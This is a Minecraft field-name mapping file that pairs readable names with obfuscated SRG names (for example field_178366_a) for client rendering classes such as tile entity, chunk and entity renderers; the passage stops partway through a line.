net/minecraft/client/renderer/block/model/ItemTransformVec3f/field_178366_a +FD: net/minecraft/client/renderer/block/model/ItemTransformVec3f/rotation net/minecraft/client/renderer/block/model/ItemTransformVec3f/field_178364_b +FD: net/minecraft/client/renderer/block/model/ItemTransformVec3f/translation net/minecraft/client/renderer/block/model/ItemTransformVec3f/field_178365_c +FD: net/minecraft/client/renderer/block/model/ItemTransformVec3f/scale net/minecraft/client/renderer/block/model/ItemTransformVec3f/field_178363_d +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$1/field_181684_a net/minecraft/client/renderer/block/model/ItemCameraTransforms$1/field_181684_a +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/NONE net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/NONE +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/THIRD_PERSON net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/THIRD_PERSON +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/FIRST_PERSON net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/FIRST_PERSON +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/HEAD net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/HEAD +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/GUI net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/GUI +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/GROUND net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/GROUND +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/FIXED net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/FIXED +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/$VALUES net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/$VALUES +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/DEFAULT net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_178357_a +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181690_b net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181690_b +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181691_c net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181691_c +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181692_d net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181692_d +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181693_e net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181693_e +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181694_f net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181694_f +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181695_g net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181695_g +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181696_h net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181696_h +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181697_i net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181697_i +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181698_j net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181698_j +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/thirdPerson net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_178355_b +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/firstPerson net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_178356_c +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/head net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_178353_d +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/gui net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_178354_e +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/ground net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181699_o +FD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/fixed net/minecraft/client/renderer/block/model/ItemCameraTransforms/field_181700_p +FD: net/minecraft/client/renderer/block/statemap/StateMapperBase/mapStateModelLocations net/minecraft/client/renderer/block/statemap/StateMapperBase/field_178133_b +FD: net/minecraft/client/renderer/block/statemap/BlockStateMapper/blockStateMap net/minecraft/client/renderer/block/statemap/BlockStateMapper/field_178450_a +FD: net/minecraft/client/renderer/block/statemap/BlockStateMapper/setBuiltInBlocks net/minecraft/client/renderer/block/statemap/BlockStateMapper/field_178449_b +FD: net/minecraft/client/renderer/block/statemap/StateMap$Builder/name net/minecraft/client/renderer/block/statemap/StateMap$Builder/field_178445_a +FD: net/minecraft/client/renderer/block/statemap/StateMap$Builder/suffix net/minecraft/client/renderer/block/statemap/StateMap$Builder/field_178443_b +FD: net/minecraft/client/renderer/block/statemap/StateMap$Builder/ignored net/minecraft/client/renderer/block/statemap/StateMap$Builder/field_178444_c +FD: net/minecraft/client/renderer/block/statemap/StateMap/name net/minecraft/client/renderer/block/statemap/StateMap/field_178142_a +FD: net/minecraft/client/renderer/block/statemap/StateMap/suffix net/minecraft/client/renderer/block/statemap/StateMap/field_178141_c +FD: net/minecraft/client/renderer/block/statemap/StateMap/ignored net/minecraft/client/renderer/block/statemap/StateMap/field_178140_d +FD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer$TimedBannerTexture/systemTime net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer$TimedBannerTexture/field_178472_a +FD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer$TimedBannerTexture/bannerTexture net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer$TimedBannerTexture/field_178471_b +FD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/DESIGNS net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/field_178466_c +FD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/BANNERTEXTURES net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/field_178464_d +FD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/bannerModel net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/field_178465_e +FD: net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/beaconBeam net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/field_147523_b +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/instance net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147556_a +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/staticPlayerX net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147554_b +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/staticPlayerY net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147555_c +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/staticPlayerZ net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147552_d +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/renderEngine net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147553_e +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/worldObj net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147550_f +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/entity net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147551_g +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/entityYaw net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147562_h +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/entityPitch net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147563_i +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/entityX net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147560_j +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/entityY net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147561_k +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/entityZ net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147558_l +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/mapSpecialRenderers net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147559_m +FD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/fontRenderer net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/field_147557_n +FD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/DESTROY_STAGES net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/field_178460_a +FD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/rendererDispatcher net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/field_147501_a +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/textureTrappedDouble net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147507_b +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/textureChristmasDouble net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147508_c +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/textureNormalDouble net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147505_d +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/textureTrapped net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147506_e +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/textureChristmas net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147503_f +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/textureNormal net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147504_g +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/simpleChest net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147510_h +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/largeChest net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147511_i +FD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/isChristmas net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/field_147509_j +FD: net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/TEXTURE_BOOK net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/field_147540_b +FD: net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/field_147541_c net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/field_147541_c +FD: net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/ENDER_CHEST_TEXTURE net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/field_147520_b +FD: net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/field_147521_c net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/field_147521_c +FD: net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer/blockRenderer net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer/field_178462_c +FD: net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/SIGN_TEXTURE net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/field_147513_b +FD: net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/model net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/field_147514_c +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer$1/field_178458_a net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer$1/field_178458_a +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/instance net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/field_147536_b +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/SKELETON_TEXTURES net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/field_147537_c +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/WITHER_SKELETON_TEXTURES net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/field_147534_d +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/ZOMBIE_TEXTURES net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/field_147535_e +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/CREEPER_TEXTURES net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/field_147532_f +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/skeletonHead net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/field_178467_h +FD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/humanoidHead net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/field_178468_i +FD: net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/field_147528_b net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/field_147528_b +FD: net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/END_SKY_TEXTURE net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/field_147529_c +FD: net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/END_PORTAL_TEXTURE net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/field_147526_d +FD: net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/field_147527_e net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/field_147527_e +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/PENDING net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/PENDING +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/COMPILING net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/COMPILING +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/UPLOADING net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/UPLOADING +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/DONE net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/DONE +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/$VALUES net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/$VALUES +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/REBUILD_CHUNK net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/REBUILD_CHUNK +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/RESORT_TRANSPARENCY net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/RESORT_TRANSPARENCY +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/$VALUES net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/$VALUES +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/renderChunk net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178553_a +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/lock net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178551_b +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/listFinishRunnables net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178552_c +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/type net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178549_d +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/regionRenderCacheBuilder net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178550_e +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/compiledChunk net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178547_f +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/status net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178548_g +FD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/finished net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/field_178554_h +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$1/field_178527_a net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$1/field_178527_a +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$1/field_178526_b net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$1/field_178526_b +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$2/field_178529_a net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$2/field_178529_a +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$2/field_178528_b net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$2/field_178528_b +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178534_a net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178534_a +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178532_b net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178532_b +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178533_c net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178533_c +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178530_d net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178530_d +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178531_e net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/field_178531_e +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/logger net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178523_a +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/threadFactory net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178521_b +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/listThreadedWorkers net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178522_c +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/queueChunkUpdates net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178519_d +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/queueFreeRenderBuilders net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178520_e +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/worldVertexUploader net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178517_f +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/vertexUploader net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178518_g +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/queueChunkUploads net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178524_h +FD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/renderWorker net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/field_178525_i +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$1/field_178480_a net/minecraft/client/renderer/chunk/ChunkRenderWorker$1/field_178480_a +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$1/field_178479_b net/minecraft/client/renderer/chunk/ChunkRenderWorker$1/field_178479_b +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/field_178484_a net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/field_178484_a +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/field_178482_b net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/field_178482_b +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/field_178483_c net/minecraft/client/renderer/chunk/ChunkRenderWorker$2/field_178483_c +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/LOGGER net/minecraft/client/renderer/chunk/ChunkRenderWorker/field_152478_a +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/chunkRenderDispatcher net/minecraft/client/renderer/chunk/ChunkRenderWorker/field_178477_b +FD: net/minecraft/client/renderer/chunk/ChunkRenderWorker/regionRenderCacheBuilder net/minecraft/client/renderer/chunk/ChunkRenderWorker/field_178478_c +FD: net/minecraft/client/renderer/chunk/CompiledChunk/DUMMY net/minecraft/client/renderer/chunk/CompiledChunk/field_178502_a +FD: net/minecraft/client/renderer/chunk/CompiledChunk/layersUsed net/minecraft/client/renderer/chunk/CompiledChunk/field_178500_b +FD: net/minecraft/client/renderer/chunk/CompiledChunk/layersStarted net/minecraft/client/renderer/chunk/CompiledChunk/field_178501_c +FD: net/minecraft/client/renderer/chunk/CompiledChunk/empty net/minecraft/client/renderer/chunk/CompiledChunk/field_178498_d +FD: net/minecraft/client/renderer/chunk/CompiledChunk/tileEntities net/minecraft/client/renderer/chunk/CompiledChunk/field_178499_e +FD: net/minecraft/client/renderer/chunk/CompiledChunk/setVisibility net/minecraft/client/renderer/chunk/CompiledChunk/field_178496_f +FD: net/minecraft/client/renderer/chunk/CompiledChunk/state net/minecraft/client/renderer/chunk/CompiledChunk/field_178497_g +FD: net/minecraft/client/renderer/chunk/ListedRenderChunk/baseDisplayList net/minecraft/client/renderer/chunk/ListedRenderChunk/field_178601_d +FD: net/minecraft/client/renderer/chunk/RenderChunk/renderChunksUpdated net/minecraft/client/renderer/chunk/RenderChunk/field_178592_a +FD: net/minecraft/client/renderer/chunk/RenderChunk/compiledChunk net/minecraft/client/renderer/chunk/RenderChunk/field_178590_b +FD: net/minecraft/client/renderer/chunk/RenderChunk/boundingBox net/minecraft/client/renderer/chunk/RenderChunk/field_178591_c +FD: net/minecraft/client/renderer/chunk/RenderChunk/world net/minecraft/client/renderer/chunk/RenderChunk/field_178588_d +FD: net/minecraft/client/renderer/chunk/RenderChunk/renderGlobal net/minecraft/client/renderer/chunk/RenderChunk/field_178589_e +FD: net/minecraft/client/renderer/chunk/RenderChunk/position net/minecraft/client/renderer/chunk/RenderChunk/field_178586_f +FD: net/minecraft/client/renderer/chunk/RenderChunk/lockCompileTask net/minecraft/client/renderer/chunk/RenderChunk/field_178587_g +FD: net/minecraft/client/renderer/chunk/RenderChunk/lockCompiledChunk net/minecraft/client/renderer/chunk/RenderChunk/field_178598_h +FD: net/minecraft/client/renderer/chunk/RenderChunk/compileTask net/minecraft/client/renderer/chunk/RenderChunk/field_178599_i +FD: net/minecraft/client/renderer/chunk/RenderChunk/setTileEntities net/minecraft/client/renderer/chunk/RenderChunk/field_181056_j +FD: net/minecraft/client/renderer/chunk/RenderChunk/index net/minecraft/client/renderer/chunk/RenderChunk/field_178596_j +FD: net/minecraft/client/renderer/chunk/RenderChunk/modelviewMatrix net/minecraft/client/renderer/chunk/RenderChunk/field_178597_k +FD: net/minecraft/client/renderer/chunk/RenderChunk/vertexBuffers net/minecraft/client/renderer/chunk/RenderChunk/field_178594_l +FD: net/minecraft/client/renderer/chunk/RenderChunk/frameIndex net/minecraft/client/renderer/chunk/RenderChunk/field_178595_m +FD: net/minecraft/client/renderer/chunk/RenderChunk/needsUpdate net/minecraft/client/renderer/chunk/RenderChunk/field_178593_n +FD: net/minecraft/client/renderer/chunk/RenderChunk/mapEnumFacing net/minecraft/client/renderer/chunk/RenderChunk/field_181702_p +FD: net/minecraft/client/renderer/chunk/VisGraph$1/field_178617_a net/minecraft/client/renderer/chunk/VisGraph$1/field_178617_a +FD: net/minecraft/client/renderer/chunk/VisGraph/field_178616_a net/minecraft/client/renderer/chunk/VisGraph/field_178616_a +FD: net/minecraft/client/renderer/chunk/VisGraph/field_178614_b net/minecraft/client/renderer/chunk/VisGraph/field_178614_b +FD: net/minecraft/client/renderer/chunk/VisGraph/field_178615_c net/minecraft/client/renderer/chunk/VisGraph/field_178615_c +FD: net/minecraft/client/renderer/chunk/VisGraph/field_178612_d net/minecraft/client/renderer/chunk/VisGraph/field_178612_d +FD: net/minecraft/client/renderer/chunk/VisGraph/field_178613_e net/minecraft/client/renderer/chunk/VisGraph/field_178613_e +FD: net/minecraft/client/renderer/chunk/VisGraph/field_178611_f net/minecraft/client/renderer/chunk/VisGraph/field_178611_f +FD: net/minecraft/client/renderer/chunk/SetVisibility/COUNT_FACES net/minecraft/client/renderer/chunk/SetVisibility/field_178623_a +FD: net/minecraft/client/renderer/chunk/SetVisibility/bitSet net/minecraft/client/renderer/chunk/SetVisibility/field_178622_b +FD: net/minecraft/client/renderer/culling/ClippingHelperImpl/instance net/minecraft/client/renderer/culling/ClippingHelperImpl/field_78563_e +FD: net/minecraft/client/renderer/culling/ClippingHelperImpl/projectionMatrixBuffer net/minecraft/client/renderer/culling/ClippingHelperImpl/field_78561_f +FD: net/minecraft/client/renderer/culling/ClippingHelperImpl/modelviewMatrixBuffer net/minecraft/client/renderer/culling/ClippingHelperImpl/field_78562_g +FD: net/minecraft/client/renderer/culling/ClippingHelperImpl/field_78564_h net/minecraft/client/renderer/culling/ClippingHelperImpl/field_78564_h +FD: net/minecraft/client/renderer/culling/Frustum/clippingHelper net/minecraft/client/renderer/culling/Frustum/field_78552_a +FD: net/minecraft/client/renderer/culling/Frustum/xPosition net/minecraft/client/renderer/culling/Frustum/field_78550_b +FD: net/minecraft/client/renderer/culling/Frustum/yPosition net/minecraft/client/renderer/culling/Frustum/field_78551_c +FD: net/minecraft/client/renderer/culling/Frustum/zPosition net/minecraft/client/renderer/culling/Frustum/field_78549_d +FD: net/minecraft/client/renderer/culling/ClippingHelper/frustum net/minecraft/client/renderer/culling/ClippingHelper/field_78557_a +FD: net/minecraft/client/renderer/culling/ClippingHelper/projectionMatrix net/minecraft/client/renderer/culling/ClippingHelper/field_178625_b +FD: net/minecraft/client/renderer/culling/ClippingHelper/modelviewMatrix net/minecraft/client/renderer/culling/ClippingHelper/field_178626_c +FD: net/minecraft/client/renderer/culling/ClippingHelper/clippingMatrix net/minecraft/client/renderer/culling/ClippingHelper/field_78554_d +FD: net/minecraft/client/renderer/entity/ArmorStandRenderer$1/field_177196_a net/minecraft/client/renderer/entity/ArmorStandRenderer$1/field_177196_a +FD: net/minecraft/client/renderer/entity/ArmorStandRenderer/TEXTURE_ARMOR_STAND net/minecraft/client/renderer/entity/ArmorStandRenderer/field_177103_a +FD: net/minecraft/client/renderer/entity/RenderArrow/arrowTextures net/minecraft/client/renderer/entity/RenderArrow/field_110780_a +FD: net/minecraft/client/renderer/entity/RenderBat/batTextures net/minecraft/client/renderer/entity/RenderBat/field_110835_a +FD: net/minecraft/client/renderer/entity/RenderBlaze/blazeTextures net/minecraft/client/renderer/entity/RenderBlaze/field_110837_a +FD: net/minecraft/client/renderer/entity/RenderBoat/modelBoat net/minecraft/client/renderer/entity/RenderBoat/field_76998_a +FD: net/minecraft/client/renderer/entity/RenderBoat/boatTextures net/minecraft/client/renderer/entity/RenderBoat/field_110782_f +FD: net/minecraft/client/renderer/entity/RenderCaveSpider/caveSpiderTextures net/minecraft/client/renderer/entity/RenderCaveSpider/field_110893_a +FD: net/minecraft/client/renderer/entity/RenderChicken/chickenTextures net/minecraft/client/renderer/entity/RenderChicken/field_110920_a +FD: net/minecraft/client/renderer/entity/RenderCow/cowTextures net/minecraft/client/renderer/entity/RenderCow/field_110833_a +FD: net/minecraft/client/renderer/entity/RenderCreeper/creeperTextures net/minecraft/client/renderer/entity/RenderCreeper/field_110830_f +FD: net/minecraft/client/renderer/tileentity/RenderEnderCrystal/enderCrystalTextures net/minecraft/client/renderer/tileentity/RenderEnderCrystal/field_110787_a +FD: net/minecraft/client/renderer/tileentity/RenderEnderCrystal/modelEnderCrystal net/minecraft/client/renderer/tileentity/RenderEnderCrystal/field_76995_b +FD: net/minecraft/client/renderer/entity/RenderDragon/modelDragon net/minecraft/client/renderer/entity/RenderDragon/field_77084_b +FD: net/minecraft/client/renderer/entity/RenderDragon/enderDragonCrystalBeamTextures net/minecraft/client/renderer/entity/RenderDragon/field_110843_g +FD: net/minecraft/client/renderer/entity/RenderDragon/enderDragonExplodingTextures net/minecraft/client/renderer/entity/RenderDragon/field_110842_f +FD: net/minecraft/client/renderer/entity/RenderDragon/enderDragonTextures net/minecraft/client/renderer/entity/RenderDragon/field_110844_k +FD: net/minecraft/client/renderer/entity/RenderEnderman/endermanTextures net/minecraft/client/renderer/entity/RenderEnderman/field_110839_f +FD: net/minecraft/client/renderer/entity/RenderEnderman/endermanModel net/minecraft/client/renderer/entity/RenderEnderman/field_77078_a +FD: net/minecraft/client/renderer/entity/RenderEnderman/rnd net/minecraft/client/renderer/entity/RenderEnderman/field_77077_b +FD: net/minecraft/client/renderer/entity/RenderEndermite/ENDERMITE_TEXTURES net/minecraft/client/renderer/entity/RenderEndermite/field_177108_a +FD: net/minecraft/client/renderer/entity/RenderManager/renderEngine net/minecraft/client/renderer/entity/RenderManager/field_78724_e +FD: net/minecraft/client/renderer/entity/RenderManager/worldObj net/minecraft/client/renderer/entity/RenderManager/field_78722_g +FD: net/minecraft/client/renderer/entity/RenderManager/livingPlayer net/minecraft/client/renderer/entity/RenderManager/field_78734_h +FD: net/minecraft/client/renderer/entity/RenderManager/pointedEntity net/minecraft/client/renderer/entity/RenderManager/field_147941_i +FD: net/minecraft/client/renderer/entity/RenderManager/playerViewY net/minecraft/client/renderer/entity/RenderManager/field_78735_i +FD: net/minecraft/client/renderer/entity/RenderManager/playerViewX net/minecraft/client/renderer/entity/RenderManager/field_78732_j +FD: net/minecraft/client/renderer/entity/RenderManager/options net/minecraft/client/renderer/entity/RenderManager/field_78733_k +FD: net/minecraft/client/renderer/entity/RenderManager/viewerPosX net/minecraft/client/renderer/entity/RenderManager/field_78730_l +FD: net/minecraft/client/renderer/entity/RenderManager/viewerPosY net/minecraft/client/renderer/entity/RenderManager/field_78731_m +FD: net/minecraft/client/renderer/entity/RenderManager/viewerPosZ net/minecraft/client/renderer/entity/RenderManager/field_78728_n +FD: net/minecraft/client/renderer/entity/RenderManager/entityRenderMap 